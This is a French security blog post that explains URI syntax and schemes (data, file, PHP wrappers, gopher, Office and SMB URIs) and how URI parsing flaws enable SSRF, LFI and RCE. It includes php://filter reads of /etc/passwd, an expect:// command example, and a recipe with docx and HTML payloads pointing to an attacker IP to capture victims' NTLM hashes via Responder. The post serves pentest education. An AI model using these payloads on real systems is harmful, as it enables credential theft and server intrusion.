Explanations

Les URI, vous connaissez ?

Hello,

Tout d’abord merci @TheLaluka pour la proposition de ce sujet fort intéressant.

On va commencer par le commencement (\o/), qu’est ce qu’un “Uniform Ressource Identifier” (URI) ? 

Ce document se base sur les RFCs 3986 1808 1738 3966 et 2718 et j’en oublie sans doute. Il se base également sur cette liste officielle diffusée par l’IANA (qui régule les URI officiels depuis 2015) pour tous les protocoles (Historiques, provisoires et permanents).

Est-ce que j’ai tout lu ? absolument. 

Dans cet article il va m’arriver d’employer des regex pour définir les caractères possibles. Exemple: “il se constitue des caractères a-zA-Z\d” signifie toutes les lettres de l’alphabet latin, minuscules, majuscules ainsi que les chiffres de 0 à 9.

Une/Un URI c’est un modèle/séquence de caractères qui permet d’identifier une ressource physique ou une ressource abstraite. Croyez moi, vous savez très bien ce que c’est, vous en utilisez tous les jours et plusieurs différents 🙂

/!\ Attention /!\

Ne pas confondre URI et URL ! l’URL (Uniform Ressource Locator) c’est une référence à une ressource WEB, l’URI définit une méthode d’accès à une ressource, permet l’exécution de code etc. l’URL est un URI spécifique !

Il ne faut pas confondre non plus avec les URNs (Uniform Ressource Name) qui ont été dépréciés (en même temps que URL d’ailleurs) dans la RFC 3986 au profit de l’appellation URI qui englobe les deux termes. Pour parler histoire rapidement, au départ dans les années ~90, on voulait identifier les ressources web avec un nom permanent (URN), qui aurait pu être résolu de la même manière qu’on résout un nom de domaine en IP aujourd’hui avec un DNS, l’URN aurait été traduite en un URC (Uniform Ressource Charateristic). D’ailleurs les URC étaient destinées à être compréhensibles par les humains et les machines, histoire de rendre la tâche facile, mais cette solution n’a jamais été adoptée. Je pense que ça devait être vachement lourd à mettre en place ? …

Bon revenons à nos moutons, on va diviser cette documentation en plusieurs points: L’URI et sa constitution normale, ensuite on verra les différents protocoles (ou schémas) les plus répandus, utiles et les plus cools. Enfin, on parlera des différents parsers de ces protocoles, leurs faiblesses et les vulnérabilités originales qu’on a pu avoir avec le temps.

Les URIs c’est quand même bien foutu

Le standard URI est -je trouve- vachement bien fait. Détaillons le:

Complet, une URI valide est de cette forme (en vert les parties optionnelles, en jaune les parties obligatoires et en orange les parties censées être obligatoires, mais qui peuvent être implicites et donc s’avérer optionnelles:

scheme:[//[user:password@]host[:port]]path[;param1=value1][?query[&key1=value1[;key2=value2]]][#fragment]

Avec tout ça, on a quand même la possibilité de donner les informations suivantes:

  • Le protocole
  • Un utilisateur et un mot de passe
  • Une machine cible via son IP ou son nom de domaine
  • Un port de connexion
  • Un chemin vers une application/fonctionnalité avec une possibilité de spécifier des paramètres
  • Une query constituée d’arguments “clé=valeur” séparés par un “&” ou un “;”
  • Un fragment délimité après un “#”, qui définit une seconde ressource à appeler

Voici un schéma qui résume assez bien le principe, chaque niveau comprenant les informations nécessaires pour que tout fonctionne:

Pour la suite du document, voici les couleurs principales à retenir:

scheme://user:password@host:port/path;param?query&key1=value1;key2=value2#fragment

Le protocole

Le protocole ne peut pas être vide. Il est constitué de caractères latin a-zA-Z, des chiffres et les symboles “+“, “.” et ““. Les protocoles sont sensibles a la casse ! Usuellement, ils sont en minuscules. 

Même si les protocoles “officiels” doivent être déclarés à l’IANA, rien ne vous empêche d’en créer un pour vos applications (a part la RFC… Vilain PHP !).

Si “//” est spécifié après le protocole

Si les deux slash sont spécifiés, le parser va s’attendre à recevoir au moins une information identifiant la localisation du serveur hébergeant la ressource.

Cela peut être:

Une IPv4 ou IPv6 sous la forme: foo://[127.0.0.1]/ -> ip littérale ou foo://127.0.0.1/ -> ipv4 décimale 

Un nom d’hôte sous la forme: foo://elsicarius.fr ou foo://internaldomain/

Point intéressant: les parsers qui font la différence entre un nom de domaine ou une IP (l’IP ne devant pas être résolue) se basent sur le principe du “c’est le premier qui match qui gagne

Il peut être ajouté à l’hôte un nom d’utilisateur et un mot de passe. Il est évident que c’est une (très) mauvaise pratique que de spécifier le mot de passe dans l’URI, car peu (pas) sécurisée. la forme d’une URI contenant un utilisateur/mot de passe est la suivante:

user@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, le mot de passe sera fourni d’une manière sécurisée

sicarius:Str0ngPa$$w0rde@elsicarius.fr-> Utilisateur “sicarius” et mot de passe “Str0ngPa$$w0rde” spécifiés pour se connecter à l’hôte “elsicarius.fr”

sicarius:@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, avec l’indication qu’il n’y a pas de mot de passe.

Enfin, le port peut être précisé après l’Host de la manière décrite plus haut.

A noter que certains protocoles n’autorisent pas les parties user:password et port !

Le chemin

Le chemin n’est rien d’autre qu’une séquence de fichiers/dossiers séparés par un slash “/”. Le chemin est toujours défini dans l’URI, mais il peut être vide ! 

Il peut y avoir des segments vides dans la séquence, cela sera symbolisé par “//”. Il est important de noter que le chemin qu’on peut voir dans une URI va généralement rejoindre le chemin réel du système de fichiers du serveur, mais pas toujours.

Si vous spécifiez un hôte après le protocole, vous devrez absolument démarquer la partie hôte et le chemin avec un “/”. Enfin, si vous ne spécifiez pas d’hôte, le chemin ne peut pas commencer par un segment vide “//” car sinon le reste pourrait être interprété comme un hôte (ça serait ambigu !)

Enfin, un chemin peut être absolu ou relatif, c’est à dire que le chemin

“sicarius/./el/sicarius” == “sicarius/el/sicarius” 

Et

“sicarius/../el/sicarius” == “sicarius/sicarius”

A noter que les chemins sont interprétés uniquement dans l’URI, et n’ont en théorie strictement rien à voir avec le potentiel chemin sur l’application cible, ou le système d’exploitation de la machine hôte.

Il y a des caractères réservés qui ne peuvent pas être utilisés comme élément du chemin:

/ ; = ?

Enfin, d’après la RFC 2396, chaque segment du chemin peut avoir des paramètres, qui seraient séparés par un “;” ou un “,” (même si cette dernière n’est en théorie pas autorisée par la RFC).

Il faut retenir que la syntaxe des paramètres va être différente selon les implémentations des protocoles des URIs.

Exemples:

L’URI mailto:sicarius@elsicarius.fr à un chemin = “sicarius@elsicarius.fr” car il n’y a pas de “//”

L’URI foo://elsicarius.fr?sicarius à un chemin vide !

L’URI foo://elsicarius.fr/ressource;v=1.1 correspond à une référence vers le paramètre “v”=”1.1” du segment “ressource”, la section “ressource” n’ayant pas de paramètres.

L’URI foo://elsicarius.fr/admin;JSESSIONID=abcdef1234566798abcfgytk correspond à une référence vers le segment (ressource) “admin”, avec un paramètre spécifique “JSESSIONID”.

Théoriquement:

L’URI foo://elsicarius.fr/admin=1/homepage;v=1.1?logg=true#flag correspond au segment admin avec pour paramètre “1”, la section homepage avec pour paramètre v=1.1, agrémenté de la query “logg=true” et du fragment “flag”

La query

La partie query d’un URI est aussi limitée avec des caractères réservés:

; / ? : @ & = + , $

Elle commence à la fin du chemin, avec la délimitation chemin?query

Elle se termine au caractère # ou à la fin de l’URI.

Même si elle n’est pas bien définie dans la RFC, elle est normalement constituée d’informations sous la forme “clé=valeur” séparés par des “&” ou des “;” ou plus rarement, des “,”.

La ressource secondaire (fragment)

La ressource secondaire permet l’identification indirecte d’un élément de la ressource principale. Le fragment va se situer entre le symbole “#” et la fin de l’URI, c’est le dernier composant.

Elle peut contenir tous types de caractères ambigus avec le reste de l’URI (“/”, “?” etc).

Il n’est pas rare que cette ressource secondaire soit utilisée pour effectuer des actions dans la ressource principale.

Cette ressource secondaire n’est pas traitée par le protocole spécifié par l’URI, mais par l’outil qui utilise cette URI ! Exemple: sur le protocole http(s?), la ressource secondaire # ne sera pas traitée par le serveur, mais par le navigateur.

Exemple:

Considérons l’URI suivante:

https://elsicarius.fr/sharing/is/caring/URI#balise2-fin-2-page

Elle désigne les éléments suivants:

  • Protocole utilisé: https
  • Serveur cible: elsicarius.fr
  • Chemin de la cible: “/sharing/is/caring”
  • Cible finale: “URI”
  • Fragment: balise2-fin-2-page

Elle sera interprétée par le navigateur, qui va résoudre et contacter le site “elsicarius.fr” en https (port par défaut 443), sur le chemin “/sharing/is/caring/URI“, et il va automatiquement chercher une balise HTML dans la page qui sera de la forme:

<balise id="balise2-fin-2-page"></balise>

Le comportement “d’aller chercher la balise correspondante” est spécifique aux navigateurs, qui s’en servent pour descendre sur la page web au bon endroit, mais il est aussi utilisé par d’autres protocoles, de manières différentes.

Spécificités

Il existe dans le vaste monde qu’est internet, des abréviations de ces URIs qui sont censées rendre le tout plus “user friendly”… D’après moi c’est tout le contraire.

  • Vous avez déjà du rencontrer, si vous avez déjà regardé le code source d’une page web, des URIs abrégées avec seulement les parties:

"//hôte/chemin..."

/chemin/absolu/vers/une/ressource/sur/le/meme/serveur -> ici, cela implique que le parser connaisse l’URI de base, où il appliquera le chemin !

#fragment_spécifique

www.site.com/chemin

Toutes ces spécificités sont référencées dans la RFC 3986 section 4 et 5.

  • Autre spécificité, la rétro compatibilité avec les “futurs” protocoles IP. Je m’explique:

Il est précisé dans la RFC 3986 que -si jamais- de nouveaux standards IP étaient créés (autre que IPv4 ou IPv6), il y aurait une méthode de les utiliser dans les URI, sans devoir repenser le système.

Imaginons l’IPv16, avec une IP (inventée) : zzzzzzzz:789999zzmopùddd:fdq:sica:rius et bien il faudrait créer une URI de la forme:

foo://[v16.zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring

ou

foo://v16.[zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring

Cette implémentation permettrai d’esquiver les recherches heuristiques pour savoir directement de quel format d’adresses on parle.

Y’en a des vachement cool

Ici on va énumérer des URI spécifiques que j’ai trouvé sympas, je vous invite à aller voir la liste par vous même si l’un en particulier vous intéresse :).

Dans les exemples suivants, les couleurs représentent les éléments:

protocole://userinfo@host:port/path?query&key1=value1;key2=value2#fragment

Dons dans la très longue liste que l’IANA à mis à disposition, certains protocoles très intéressants sont remontés:

SHTTP

Oui oui, le SHTTP et non pas le HTTPS ! Définit en 1999 dans la RFC expérimentale 2660 (un an avant la RFC 2818 du HTTPS) !

Il se présente sous la forme d’une URI Standard:

shttp://elsicarius.fr:80/secret

Bon, c’est resté expérimental, et je pense que ça n’a jamais été implémenté nulle part.


Data

Définit par la RFC 2397

data:<mimetype>[;charset=<charset>][;base64][;param2=test],données

Exemple:

dans une balise html “embed”, on insère en src:

data:text/html,<h1>coucou<h1> -> Sera interprété en html par le navigateur et affichera “coucou

base64(<h1>coucou</h1>) == “PGgxPmNvdWNvdTwvaDE+”

data:text/html;base64,PGgxPmNvdWNvdTwvaDE+ -> Sera aussi interprété en html par le navigateur et affichera “coucou

Mais il est possible de créer des fichiers en mémoire avec l’URI data ! Cela permet de donner en argument un fichier complet ! Exemple:

data:application/msword;base64,0M8R4KGxGu...  -> chargera en mémoire un fichier msword.

Les possibilités s’arrêtent au mime-type disponible ! autant dire que c’est presque infini.

à noter que les paramètres de l’URI data ne sont pas limités. l’URI suivante est totalement valide:

data:text/plain;charset=UTF-8;page=21,the%20data:1234,5678 

A noter qu’il y a des doutes émis dans la RFC sur l’implémentation de l’URI “data”. En effet, c’est à l’implémentation de déterminer la longueur maximale des données contenues dans l’URI, et de mauvaises implémentations peuvent être une catastrophe.

File

Définit dans la RFC 8089

file:/chemin/vers/fichier

Exemples

file:///chemin/fichier ->chemin en local (implicite)

file:/chemin/fichier -> chemin en local (implicite)

file://elsicarius.fr/chemin/fichier -> chemin distant sur le serveur “elsicarius.fr

file:c:/chemin/vers/fichier == file:///c:/chemin/vers/fichier -> Windows oblige, il fallait avoir le moyen de spécifier la lettre de lecteur pour le chemin, ça deviens ambigu pour le coup….

file:///c|/chemin/vers/fichier == file:/c|/chemin/vers/fichier == file:c|/chemin/vers/fichier -> le c| sera remplacé par c: après traitement par le parser, il s’agit là d’une fonction assurant la compatibilité avec l’ancien système de fichier DOS.

PHP

L’URI php n’est pas définie comme connue de l’IANA. Pour cause, elle est pas nommée “URI” mais “Wrapper“, même si son fonctionnement est le même.

Pour avoir des documentations dessus, et sur tous les autres wrappers il faut se fier à la documentation disponible sur php.net: https://www.php.net/manual/en/wrappers.php

A noter que les commandes suivantes peuvent être exécutées un peu partout dans du PHP (includes, phpcurl etc.)

Nous avons donc dans la liste :

L’archive PHP

Une archive phar contient des fichiers contenant du code PHP, des ressources etc. et qui peut être exécutée via php archive.phar

Elle permet aussi d’aller chercher des fichiers directement dans des .zip dans le système de fichiers local

phar:///chemin/local/vers/fichier.zip/fichier_dans_le_zip.txt

ou encore:

include 'phar:///path/to/myphar.phar/file.php';
Les flux compressés Zlib, Zip, bzip2

Ces URI permettent toutes d’ouvrir des archives en PHP (similaires à gzopen(), bzopen()…)

zlib://fichier.gz -> déprécié

compress.zlib://fichier.gz

bzip2://fichier.bz2 -> déprécié

compress.bzip2://fichier.bz2

zip://archive.zip#chemin/vers/file.txt

Des I/O PHP

php://stdin -> accès au STDIN du processus PHP correspondant

php://stdout et php://stderr -> STDOUT et STDERR du processus PHP

php://input -> permet de récupérer les informations contenues dans le body d’une requête HTTP

php://output -> similaire à un echo ou print en PHP

php://fd/3 -> Accès au file descriptor “3” (correspondant à un fopen)

php://memory -> créée un fichier en mémoire et y stocke le contenu, php://temp/maxmemory:2048 crée un fichier temporaire sur la machine si la taille est > 2MB (par défaut)

Un gros morceau: 

php://filter/ressource=<URI de la ressource> -> minimum requis pour faire fonctionner le wrapper

On peut lire une ressource et faire un traitement préalable avec des filtres:

php://filter/read=filtre1|filtre2|.../ressource=<URI de la ressource>

On peut écrire une ressource et faire un traitement préalable avec des filtres:

php://filter/write=filtre1|filtre2|.../ressource=<URI de la ressource>

On peut faire les deux, avec des filtres:

php://filter/filtre1/filtre2.../ressource=<URI de la ressource>/

Et des filtres, y’en a un paquet:

Exemples:

php://filter/read=convert.base64/ressource=file:///etc/passwd/ == php://filter/read=convert.base64/ressource=/etc/passwd/

php://filter/read=convert.base64/ressource=https://elsicarius.fr/private/0days.csv?access_token%3ddeadbeef

php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

De quoi trouver des chemins avec des patterns de reconnaissance

Le wrapper glob va nous permettre de récupérer le nom de plusieurs fichier grâce à des wildcards (“*”) !

glob://chemin/pattern_avec_*

Exemple:

glob://sica/rius/php_files/*.php

Des flux d’interaction avec le serveur

Le wrapper expect va nous permettre d’exécuter des commandes sous le système d’exploitation hôte !

expect://<commande>

Exemple:

expect://whoami

…..

(les autres ne vont pas nous intéresser ici)

Gopher

Lorsqu’un site présente une vulnérabilité SSRF, il peut s’avérer utile de vérifier la présence de gopher. Gopher est un protocole censé rivaliser avec HTTP. Seulement, sa complexité d’utilisation l’ont fait peu à peu disparaître, mais il est toujours disponible dans curl !

Voici la syntaxe d’une URI Gopher:

gopher://elsicarius.fr:port/<gophertype><selector>%09<search>%09<gopher+_string>

A savoir que pour exploiter une SSRF avec gopher, je vous conseille des tools qui génèrent des payloads comme: https://github.com/tarunkant/Gopherus

Généralement, on combine Redis et Gopher pour exploiter une cible vulnérable, redis ayant son propre modèle d’URI !

Microsoft

Les applications Word on aussi des URI spécifiques permettant tout un tas d’actions, comme la création de documents à partir de templates etc. C’est d’ailleurs définit ici: https://docs.microsoft.com/en-us/office/client-developer/office-uri-schemes?redirectedfrom=MSDN

De base, certaines URI bien placées sous Windows peuvent vous aider à récupérer les hash NTLM ! Exemple:

Vous avez une machine avec Responder prêt, en mode écoute.

Créez un docx, ouvrez le avec un gestionnaire d’archives, et dans le fichier word/_rels/settings.xml.rels renseignez le contenu:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
   <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://<IP de l'attaquant>/leak/Template.dotx" TargetMode="External"/>
</Relationships>

Puis envoyez ce document à une cible, dès qu’elle l’ouvrira, vous aurez son hash NTLM 🙂

La même chose peut être reproduite avec un document html:

<!DOCTYPE html>
<html>
   <img src="file://<IP de l'attaquant>/leak/leak.png"/>
</html>

Les arguments sont séparés par des “|” cette fois:

ms-powerpoint:ofe|u|https://elsicarius.fr/How_To_Buy_Odayx.ppt -> ofe pour “edit document”, u pour “url” et ensuite le lien.

ms-excel:ofv|u|https://elsicarius.fr/Q4/Donations_to_my_website.xls -> ofv pour “view document”, ensuite l’url.

ms-word:nft|u|https://sicarius.fr/templates/comment_télécharger_de_la_ram.pot|s|https://elsicarius.fr/presentations_NDH -> nft pour “New document Ftom Template”, u la source du template, s le chemin de destination du nouveau document

ms-visio:

ms-access:

ms-project:

ms-publisher:

ms-spd:

ms-infopath:

Et il y en a encore beaucoup, beaucoup….

Avec tout ces nouveaux protocoles, on va reproduire l’attaque pour chopper le Hash NTLM. Gardez votre Responder actif, et créez une page HTML:

<!DOCTYPE html>
<html>
   <script>
      location.href = 'ms-word:ofe|u|\\<ip de l'attaquant>\leak\leak.docx';
   </script>
</html>

Dès que la victime va ouvrir la page, vous aurez une requête interceptée sur Responder ! Magic

Misc

Il faut savoir que tout le monde peu créer son propre modèle d’URI.

C’est d’ailleurs ce qu’ont fait Steam pour lancer leur jeux, ou VisualStudio code pour leurs extensions, Spotify, Teamspeak etc, etc… Même SecondLife avait son modèle d’URI ! pour se déplacer sur les îles (les plus vieux d’entre nous connaissent).

Donc tous les répertorier ne serait pas envisageable (j’ai la flemme quand même un peu).

Cette partie sera donc mise a jour au fur et a mesure, le temps que je lise un peu les docs…


tel:+358-55-1234567 -> rfc 2806

tel:+1234567890;phone-context=+1234;vnd.company.option=foo

fax:+358.555.1234567 -> rfc 2806


about:blank -> page vierge

view-source:<url> -> montre le code source HTML de la page située à <url>


coap://example.net/.well-known/core -> similaire à HTTP, c’est un protocole proposé par la RFC 7252 qui serait plus “léger”
Il existe de manière similaire:
coaps -> RFC 7252
coaps+ws -> RFC 8323
coaps+tcp -> RFC 8323
coap+ws -> RFC 8323
coap+tcp -> RFC 8323


ws://elsicarius.fr/chemin?query   ->WebSockets :  RFC 6455

wss:   -> RFC 6455


udp://elsicarius.fr:1234 -> création d’une connexion UDP vers l’hôte distant. : https://metacpan.org/pod/URI::udp

modem:+3585551234567;type=v32b?7e1;type=v110 -> rfc 2806

ssh://sicarius;fingerprint=<host-key fingerprint>@elsicarius.fr:22 
sftp://sicarius;fingerprint=<host-key fingerprint>@<host>:<port>/<path>/<file> 

Ceux là sont possiblement combinés avec Gopher:// pour plus de pwn :)

dict://<user>;<auth>@elsicarius.fr:<port>/m:<word>:<database>:<strat>:<n>
redis://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz

ou sa version via TLS:
rediss://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz

smb://<user>@<domaine>:<port>/<chemin>?<param1>=<valeur1>;<param2>=<valeur2> ou smb://<user>@<workgroup>:<port>/ 
ou encore
smb://<domain>;<username>:<password>@<serveur>:<port>/<partage>/<chemin>?<param>=<valeur><param2>=<valeur2>
Exemple: smb://workgroup;Sicarius:Best_Password_Eu1west@elsicarius.fr:1337/partage_2_fichiers_prive/dossier_confidentiel/0days.txt

 


thismessage:/Fichier.pdf -> Destiné a résoudre les chemins absolus dans un message SOAP si les méthodes précédentes ont échoué : RFC 2557


...

 

Et ça a créé des vecteurs d’attaques (tout plein de vecteurs, et c’est ça qu’on aime!)

#redteaming oblige, il faut qu’on parle des vecteurs d’attaques. On en veut plein ! et y’en a eu (et y’en aura encore) plein. Et parce que tout le monde à décidé d’implémenter des parsers dans leur langage favori, créant plein de libs ultra cool qui comprennent différemment des jeux de caractères, il y a aussi plein de méthodes pour tromper ces parsers avec des URI mal formées !

Les URI vont nous permettre (en partie) d’exploiter:

  • Des Local File Inclusion (LFI)
  • Des Remote File Inclusion (RFI)
  • Des Remote Code Execution (RCE (!!!!!))
  • Des Server-side Request Forgery (SSRF)
  • Des XXE…

 

Les parsers pétés

Commençons par nous référer à la RFC3986 paragraphe 5.4.2.

Elle décrit bien que certaines applications ont du mal à distinguer certains chemins, si des éléments spéciaux sont “mal” positionnés, les exemples suivants peuvent porter à confusion:

https://elsicarius.fr/a/b/c#d/e/f 

https://elsicarius.fr/a/b/c?d/../f

https://elsicarius.fr/a/b/c;d=e/./g

Mais avec les travaux d’Orange Tsai  et sa présentation à la BlackHat sur les SSRF on a appris de nouveaux vecteurs d’attaque, utilisant ces “éléments spéciaux mal positionnés”, comme celui-là:

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

La structure ici est très spécifique, mais avec tout ce dont nous avons parlé avant, elle peut se comprendre.

  • Le protocole ne change pas: cela reste https.
  • On peut distinguer 3 parties séparées par un ” “, qui est un caractère autorisé pour les URI
  • Le premier élément de confusion est le “/” situé à la fin, ce “/” signifie que tout ce qui se trouve entre “//” et lui même est le nom d’hôte
  • Si on parcours ce qui est censé être interprété comme l’hôte, on s’aperçois qu’il est constitué de 3 IP normalement constituées
  • Chacune des IP est précédée d’un “@” qui signifie que ce qu’il se passe avant, c’est un nom d’utilisateur
  • Enfin, on trouve le caractère “&” délimitant plusieurs arguments d’une query ?
  • Ainsi que le caractère “#” délimitant un fragment.

Avec tout ceci, il est facile de comprendre que chaque parser à sa propre implémentation et que, par conséquent il comprendra pas forcément cet “hôte” mal formé de la même manière que les autres.

Ainsi, voici une représentation des différents parsers comprenant tous quelque chose de différent (cet exemple est mon préféré):

On peut par exemple imaginer :

Le parser urllib2 va prendre l’URI, se référer aux “//” et prendre la première IP valide qu’il trouve, soit 1.1.1.1, puis il y a un ” ” donc il ne prend pas en compte le reste.

Requests quand à lui va couper l’URL à tous les @ produisant le tableau suivant: [“1.1.1.1 &”, “2.2.2.2# “,”3.3.3.3”]. Il va ensuite prendre la première partie de son tableau : “1.1.1.1 &” (ou table[0] en python) et considérer cette partie comme un utilisateur, puis va considérer 2.2.2.2 comme l’hôte, pour enfin considérer tout ce qu’il y a après # comme un fragment !

Enfin urllib va quand à lui inverser le processus de requests, et se fier à la dernière partie du tableau (l’élément “3.3.3.3”) (ou table[-1] en python) pour être le nom d’hôte, et va prendre le premier élément de son tableau pour nom d’utilisateur.

Note: Ces explication sont une parmi tant d’autres, j’ai simplement interprété. Si vous êtes curieux vous pouvez aller voir le code des librairies urllib2, urllib et request par vous même 🙂

 

Quelques sources et payloads sympas pour finir 🙂

Dans cette partie on va parler sources de payloads !

Votre meilleur atout: Google ! Lisez mon article google-vous-connaissez si vous voulez en savoir plus sur “comment utiliser google” (*instant self promotion*)

SSRF

Pour vous renseigner sur les SSRF, je vous conseille:

LFI, RFI …

Des articles comme : local-file-inclusion-lfi-web-application-penetration-testing sont très bien détaillés, trouvez ceux qui vous conviendront le plus !

Des payloads à gogo

Si vous êtes à la recherche de payloads à injecter tel-quel dans vos pentest je vous conseille le Github de @pentest_swissky qui est un incontournable:

Tool SSRFmap: https://github.com/swisskyrepo/SSRFmap

SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

LFI, RFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

…..

 

Bon, je pense qu’on a fait le tour du sujet !

J’ai beaucoup appris pendant que je faisais cet article, qui m’a pris 2 jours de recherches et d’écriture en simultané !

J’espère que vous aussi vous avez appris un truc !

à bientôt ici ou sur mon tweeter 🙂

 

La bize !

Sicarius

Auteur

Sicarius
Étudiant @ENSIBS et apprenti ingénieur en cybersécurité chez GIE CBP

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *